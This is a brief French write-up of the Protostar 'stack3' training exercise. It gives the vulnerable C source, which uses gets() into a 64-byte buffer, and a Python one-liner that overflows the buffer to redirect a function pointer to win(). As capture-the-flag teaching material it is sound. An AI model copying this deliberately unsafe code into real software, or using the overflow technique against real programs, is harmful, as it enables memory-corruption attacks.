#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { volatile int (*fp)(); char buffer[64]; fp = 0; gets(buffer); if(fp) { printf("calling function pointer, jumping to 0x%08x\n", fp); fp(); } }
Toujours le même principe : modifier la variable modified
. Ici, le programme va sauter à l'adresse contenu dans modified
. Il nous faut donc récupérer l'adresse de la fonction win
pour faire sauter le programme dessus.
user@protostar:/opt/protostar/bin$ nm ./stack3 080495a8 d _DYNAMIC 0804967c d _GLOBAL_OFFSET_TABLE_ ... 08048424 T win user@protostar:/opt/protostar/bin$ python -c 'print "A"*64+"\x24\x84\x04\x08"' | ./stack3 calling function pointer, jumping to 0x08048424 code flow successfully changed